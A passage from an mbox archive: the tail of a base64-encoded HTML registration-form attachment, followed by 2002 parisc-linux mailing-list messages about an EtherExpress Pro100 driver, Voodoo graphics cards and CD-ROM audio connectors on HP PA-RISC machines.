o7o8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAg
ICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAg
IDx0ZCB3aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8
aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVwX21hbmFnZXIiIG1heGxlbmd0
aD0iMjAiPg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAg
ICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4g
DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiZuYnNw
OzwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAi
IGFsaWduPSJsZWZ0Ij4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICAgICAg
ICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAg
ICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1IiBoZWlnaHQ9IjI3IiA+IA0K
ICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPrmr
y77A4LHwOjxmb250IGNvbG9yPSIjRkYwMDAwIj4qPC9mb250PjwvZGl2Pg0K
ICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAg
ICAgICAgPHRkIHdpZHRoPSIzNDAiIGFsaWduPSJsZWZ0IiBoZWlnaHQ9IjI3
IiA+IDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBl
PSJyYWRpbyIgbmFtZT0iZHdsYiIgdmFsdWU9IkciIGNoZWNrZWQ+DQogICAg
ICAgICAgICAgICAgICAgICAgICC8xsvju/rA4CA8YnI+DQogICAgICAgICAg
ICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4N
CiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAg
ICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAg
ICAgPGRpdiBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAgICAgICAgICAgICAg
ICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRo
PSIzNDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgbmFt
ZT0iY29tX3R5cGUxIiBzaXplPSIxIj4NCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgPG9wdGlvbj7H69Gh1PHSu8/uPC9vcHRpb24+DQogICAgICAgICAg
ICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrzGy+O7+rfWz/rJzCI+
ILzGy+O7+rfWz/rJzDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAg
ICAgICA8b3B0aW9uIHZhbHVlPSK0+sDtycwiPrT6wO3JzDwvb3B0aW9uPg0K
ICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLB48rb
ycwiPsHjytvJzDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAg
ICA8b3B0aW9uIHZhbHVlPSLU9ta1t9bP+snMIj7U9ta1t9bP+snMPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsX6t6LJzC+y1rSiyr3JzLOhIj7F+reiycwvsta0osq9ycyzoTwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSK8
xsvju/ovweOyv7z+yfqy+snMIj68xsvju/ovweOyv7z+yfqy+snMPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsjtvP6/qreiycwvs/aw5snMIj7I7bz+v6q3osnML7P2sObJzDwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLP
tc2zvK+zycnML834wue8r7PJycwiPs+1zbO8r7PJycwvzfjC57yvs8nJzDwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZh
bHVlPSLTyrXnL82o0bYvzajQxSI+08q15y/NqNG2L82o0MU8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ivMbL
47v6ucvOyi/XydGvuavLviI+vMbL47v6ucvOyi/XydGvuavLvjwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJJ
U1AvSUNQIj5JU1AvSUNQPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAg
ICAgICAgIDxvcHRpb24gdmFsdWU9IrzGy+O7+sXg0bUvzqzQ3i+8vMr1tcjG
5Mv7vMbL47v6t/7O8SI+vMbL47v6xeDRtS/OrNDeL7y8yvW1yMbky/u8xsvj
u/q3/s7xPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxv
cHRpb24gdmFsdWU9Isbky/vP+srbycwiPsbky/vP+srbycw8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAg
ICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+
DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAg
ICAgICAgPHRkIHdpZHRoPSIxMjUiIGhlaWdodD0iMzIiPiZuYnNwOzwvdGQ+
DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAiIGhlaWdo
dD0iMzIiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBl
PSJyYWRpbyIgbmFtZT0iZHdsYiIgdmFsdWU9Im9uIj4NCiAgICAgICAgICAg
ICAgICAgICAgICAgILfHvMbL47v6wOAgPC90ZD4NCiAgICAgICAgICAgICAg
ICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAg
ICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAg
ICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAg
ICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAg
ICAgPHRkIHdpZHRoPSIzNDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAg
IDxzZWxlY3QgbmFtZT0iY29tX3R5cGUyIiBzaXplPSIxIj4NCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgPG9wdGlvbj7H69Gh1PHSu8/uPC9vcHRpb24+
DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ir3M
0/0vv8bR0C/Rp8r1L8Xg0bUiPr3M0/0vv8bR0C/Rp8r1L8Xg0bU8L29wdGlv
bj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i
ur2/1S+6vczsL7q9uqMiPrq9v9Uvur3M7C+6vbqjPC9vcHRpb24+DQogICAg
ICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ir2o1v4vuaSz
zCI+vajW/i+5pLPMPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAg
ICAgIDxvcHRpb24gdmFsdWU9Ir3wyNov0vjQ0LLGzvEiPiC98MjaL9L40NCy
xs7xPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRp
b24gdmFsdWU9Is2218ov1qTIry+3v7XYsvovsaPP1SI+zbbXyi/WpMivL7e/
tdiy+i+xo8/VPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAg
IDxvcHRpb24gdmFsdWU9Ir27zajUy8rkL7mrwrcvzPrCty+5q7myysLStSI+
vbvNqNTLyuQvuavCty/M+sK3L7mrubLKwtK1PC9vcHRpb24+DQogICAgICAg
ICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Isn6svrWxtTsIj7J
+rL61sbU7Dwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8
b3B0aW9uIHZhbHVlPSK41sz6L8qv080vtefBpi+7r7mkL8uuwPsiPrjWzPov
yq/TzS+158GmL7uvuaQvy67A+zwvb3B0aW9uPg0KICAgICAgICAgICAgICAg
ICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLJzNK1o6i0+sDtoaLF+reioaLB
48rbo6kvw7PS1yI+yczStaOotPrA7aGixfq3oqGiwePK26OpL8Oz0tc8L29w
dGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1
ZT0i1f64rrv6udgvyee74c3FzOUiPtX+uK67+rnYL8nnu+HNxczlPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
ItK9wcYvzsDJ+i/M5dP9Ij7SvcHGL87AyfovzOXT/Twvb3B0aW9uPg0KICAg
ICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLFqcHWxL7T
5i+/89K1Ij7FqcHWxL7T5i+/89K1PC9vcHRpb24+DQogICAgICAgICAgICAg
ICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrP2sOYvueOypS+159OwtefK
0yI+s/aw5i+547KlL7Xn07C158rTPC9vcHRpb24+DQogICAgICAgICAgICAg
ICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrfHvMbL47v6ucvOyi/XydGv
L9DFz6K3/s7xIj63x7zGy+O7+rnLzsov18nRry/Qxc+it/7O8Twvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSK5
q7nYL7njuOYvzsS7r9LVyvUiPrmrudgvueO45i/OxLuv0tXK9Twvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLC
w9POL7LN0vsvsfa53S/T6cDW0rUiPsLD084vss3S+y+x9rndL9PpwNbStTwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZh
bHVlPSK+/LbTL87kvq8vuauwsiI+vvy20y/O5L6vL7mrsLI8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ixuTL
+yI+xuTL+zwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9z
ZWxlY3Q+DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAg
ICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiAN
CiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+Jm5ic3A7
PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM0MCI+
Jm5ic3A7PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAg
ICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgICA8
dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGRp
diBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAg
IDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAi
PiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1p
dCB2YWx1ZT0i16IgsuEiIGlkPXN1Ym1pdDIgbmFtZT1yZWcyIHN0eWxlPSJi
YWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjM4LDIzOCwyMzgpOyBjb2xvcjogcmdi
KDAsMCwwKTsgdGV4dC1hbGlnbjogY2VudGVyOyBib3JkZXI6IDFweCBkb3Vi
bGU7aGVpZ2h0OjE4cHgiIG9ubW91c2VvdmVyPSJ0aGlzLnN0eWxlLmNvbG9y
PScjMDg0MkIxJyIgb25tb3VzZW91dD0idGhpcy5zdHlsZS5jb2xvcj0nIzAw
MDAwMCciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9
cmVTZXQgdmFsdWU9IsflILP9IiBpZD1yZVNldDIgbmFtZT1jbGVhcjIgc3R5
bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYigyMzgsMjM4LDIzOCk7IGNvbG9y
OiByZ2IoMCwwLDApOyB0ZXh0LWFsaWduOiBjZW50ZXI7IGJvcmRlcjogMXB4
IGRvdWJsZTtoZWlnaHQ6MThweCIgb25tb3VzZW92ZXI9InRoaXMuc3R5bGUu
Y29sb3I9JyMwODQyQjEnIiBvbm1vdXNlb3V0PSJ0aGlzLnN0eWxlLmNvbG9y
PScjMDAwMDAwJyI+DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAg
ICAgICAgICAgICAgICAgICAgPC90cj4NCjwvdGFibGU+DQo8L0ZPUk0+DQoJ
PC90ZD4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgYWxpZ249cmlnaHQ+DQo8aW1n
IHNyYz1odHRwOi8vYWQuaGVybWVzLmNvbS5jbi9saW51eHdvcmxkL2ltYWdl
cy9MaW51eDRjb2xvci5qcGcgd2lkdGg9MzQyIGhlaWdodD05NSBib3JkZXI9
MD4NCgk8L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KDQoJPC90ZD4NCgk8L3Ry
Pg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0yIGhlaWdodD00IGJnY29sb3I9IzAw
MDAwMD48L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KDQoNCjwvYm9keT4NCjwv
aHRtbD4=

--= Multipart Boundary 0818022310--


From - Thu Nov 08 21:24:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200
 machine.
Date: Sun, 18 Aug 2002 11:55:11 -0400
Lines: 57
Approved: news@gmane.org
Message-ID: <3D5FC35F.7060402@charter.net>
References: <3D5EB2D6.9090403@charter.net>  <20020817223713.GA25852@gate450.dyndns.org> <20020818051633.209BD4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621629 12434 80.91.229.3 (22 Nov 2014 02:00:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, saw@saw.sw.com.sg
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 18 09:54:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx13.cluster1.charter.net (dc-mx13.cluster1.charter.net [209.225.8.23])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8EA2C4830
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Aug 2002 09:54:20 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx13.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 82119018; Sun, 18 Aug 2002 11:54:53 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15843

Here is my dmesg output that your requested, and my
ifconfig status right after booting. I typed this in
by hand, hopefully no typos.


eepro100.c:v1.09j-t 9/29/99 Donald Becker http://www.scyld.com/network/eepro100.html
eepro100.c: $Revision: 1.36 $ 2000/11/17 Modified by Andrey V. Savochkin <saw@saw.sw.com.sg> and others
eth0: Intel Corp. 82557 [Ethernet Pro 100], 00:90:27:60:CB:E6, IRQ 130.
   Board assembly 721383-006, Physical connectors present: RJ45
   Primary interface chip i82555 PHY #1.
   General self-test: passed.
   Serial sub-system self-test: passed.
   Internal registers self-test: passed.
   ROM checksum self-test: passed (0x8b51f404).


eth0    Link encap:Ethernet  HWaddr:00:90:27:60:CB:E6
         inet addr:192.168.100.115  Bcast:192.168.100.255  Mask:255.255.255.0
         RX packets:25 errors:0 dropped:0 overruns:0 frame:0
         TX packets:9 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:100
         RX bytes:2668 (2.6 KiB)  TX bytes:558 (558.0 b)
         Interrupt:130 Base address:0xf000



Well, I'm heading out to camp. Back on Monday.

Cheers!
- Doug




Grant Grundler wrote:
> Andreas Seltenreich wrote:
> 
>>just append " || defined(__hppa__)" to line 47 of drivers/net/eepro100.c
>>I got mine working that way.
> 
> 
> The RX_ALIGN shouldn't strictly be needed. It's a performance improvement.
> It means the misaligned access handling isn't working right. And should be
> spewing something to the kernel dmesg buf. IIRC, Randolph Chung has done a
> great job on getting most of the misaligned access emulation working right.
> If you get console/dmesg output when using eepro100, please post it here.
> 
> If someone with CVS access has time, please enable the RX_ALIGN
> code for __hppa__ as well. I have other changes outstanding (cpqfc)
> that I want to finished up and committed first.
> 
> grant
> 





From - Thu Nov 08 21:24:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: d p chang <weasel@meer.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo3 PCI on C200 experiment pending!
Date: 18 Aug 2002 09:53:59 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <m2wuqoqfa0.fsf@meer.net>
References: <3D5E0430.2000407@charter.net>
	<20020818044613.0969E4829@dsl2.external.hp.com>
	<1029666136.15858.3.camel@irongate.swansea.linux.org.uk>
Reply-To: weasel@cs.stanford.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621629 12436 80.91.229.3 (22 Nov 2014 02:00:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 18 10:54:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from outboundx.mv.meer.net (outboundx.mv.meer.net [209.157.152.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAF48482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Aug 2002 10:54:32 -0600 (MDT)
Original-Received: from mail.meer.net (mail.meer.net [209.157.152.14])
	by outboundx.mv.meer.net (8.11.6/8.11.6) with ESMTP id g7IGsFa53670
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Aug 2002 09:54:15 -0700 (PDT)
	(envelope-from weasel@meer.net)
Original-Received: from localhost.meer.net (h-209-157-134-161.meer.net [209.157.134.161])
	by mail.meer.net (8.12.2/8.12.1/meer) with ESMTP id g7IGsNi1025177
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Aug 2002 09:54:24 -0700 (PDT)
In-Reply-To: <1029666136.15858.3.camel@irongate.swansea.linux.org.uk>
Original-Lines: 40
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15844

delurking briefly since i worked on these parts (v2 and banshee-v3
which are basically the same) during my tenure at 3dfx.

Alan Cox <alan@lxorguk.ukuu.org.uk> writes:

> On Sun, 2002-08-18 at 05:46, Grant Grundler wrote:
> > "B. Douglas Hilton" wrote:
> > > Any hints or tips would be appreciated :-)
> > 
> > Search the mail archives.
> > Once upon a time (2 years ago?), Alan Cox explained his ideas
> > on how to make something like this work. He had an A180 in front
> > of him at the time...
> 
> I really doubt you will get a Voodoo3 to work this way. XFree have
> lots of problems with the Voodoo3 INT10 multihead even on x86 - the
> ROM seems to do some quite tricky stuff.

I'll check my old mail archives, but the part taht you really want is
just the timing tables in the rom. If you're looking at the code in
cinit.c it had bitrotted quite badly after the initial bring up. 

However, it used to be possible to change the device type multimedia
(rather than video) and do all the initcode stuff. There was a little
jumper on the cards themselves for this

> On the other hand a Voodoo2 should work wonderfully because its got
> no ROM, doesn't appear to be a video card and Glide2 has full source
> for bringing the board up.

yup, no 2d on voodoo2, but sort of lame just as a framebuffer device
(well, if you want to use the command transport bits)

\p
---
A professional politician is a professionally dishonorable man.  In
order to get anywhere near high office he has to make so many
compromises and submit to so many humiliations that he becomes
indistinguishable from a streetwalker. --- H. L. Mencken



From - Thu Nov 08 21:24:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo3 PCI on C200 experiment pending!
Date: 18 Aug 2002 19:53:17 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <1029696797.16822.12.camel@irongate.swansea.linux.org.uk>
References: <3D5E0430.2000407@charter.net>
	<20020818044613.0969E4829@dsl2.external.hp.com>
	<1029666136.15858.3.camel@irongate.swansea.linux.org.uk> 
	<m2wuqoqfa0.fsf@meer.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621629 12439 80.91.229.3 (22 Nov 2014 02:00:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: weasel@cs.stanford.edu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 18 12:53:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3141482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Aug 2002 12:53:54 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g7IIrIu6017202;
	Sun, 18 Aug 2002 19:53:19 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g7IIrHgB017200;
	Sun, 18 Aug 2002 19:53:17 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <m2wuqoqfa0.fsf@meer.net>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15845

On Sun, 2002-08-18 at 17:53, d p chang wrote:
> yup, no 2d on voodoo2, but sort of lame just as a framebuffer device
> (well, if you want to use the command transport bits)

XFree86 supports it nicely as a 2D card nowdays. True its not exactly
accelerated but it works. I use a couple for debugging displays



From - Thu Nov 08 21:24:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CD-ROM audio output
Date: Mon, 19 Aug 2002 04:09:48 -0600 (MDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200208191009.EAA02771@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621630 12444 80.91.229.3 (22 Nov 2014 02:00:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 19 04:09:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D56D4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 04:09:52 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP id 68887805104
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 06:09:48 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id EAA02771
	for parisc-linux@lists.parisc-linux.org; Mon, 19 Aug 2002 04:09:48 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15846

> > I want to install a CD-Drive in my 715/100. Is it possible to use the
> > internal audio output of the CD-ROM in the same way it used in a PC?
> > Which type of cable do I have to use?
>
> The problem is where to connect it. There's no way to plug it in to the
> built-in audio.

That is incorrect. Most, if not all parisc workstations with CD quality
audio have an internal connector for CD audio input. However, it is just
another buffered input to the line input, i.e. you can not separately
control the CD audio level and the line input level, since they are
essentially wired together to the same input on the CS4216 codec. The
exception is the newer workstations that use the AD1819 codec. That has
a separate CD audio input, and the CD input connector is wired to that,
rather than the line input. Of course, we don't have a driver for the
AD1819 yet.

The connector that was described in this discussion with regard to the 715
is indeed the CD audio input.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:24:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
